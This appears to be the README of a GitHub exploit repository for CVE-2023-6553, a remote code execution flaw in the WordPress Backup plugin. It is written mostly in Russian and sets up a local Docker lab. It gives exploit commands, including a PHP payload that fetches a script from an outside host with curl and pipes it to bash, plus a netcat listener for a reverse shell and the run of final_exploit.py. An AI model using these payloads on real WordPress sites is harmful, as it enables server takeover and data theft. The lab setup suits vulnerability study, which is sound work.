harshit-mashru/cve-2023-6553针对WordPress中Backup Plugin的CVE-2023-6553漏洞利用开发
Разработка эксплойта для CVE-2023-6553 на плагин Backup в Wordpress
Это критическое CVE с оценкой CVSS 9.8
Уязвимость позволяет злоумышленнику отправлять команды на сервер, работающий с уязвимой версией плагина
Уязвимая версия Backup <= 1.3.7
клонируйте репозиторий через git
Выполните команду ниже для запуска докер-контейнеров
docker-compose up -d
Вы должны увидеть 2 докер-контейнера
http://localhost:8000/
wget https://downloads.wordpress.org/plugin/backup-backup.1.3.6.zip
python3 -m http.server
go run exploit.go -chain="<?php exec('curl <HOST_IP>:9000/a.sh |bash');?>"
HTTP Response Body: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Size of a request header field exceeds server limit.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at 172.18.0.3 Port 80</address>
</body></html>
Это происходит потому, что после преобразований фильтра размер заголовка превышает допустимое сервером значение.
nc -nlvp 8080
а затем выполните команду для эксплуатации уязвимого плагина
python3 final_exploit.py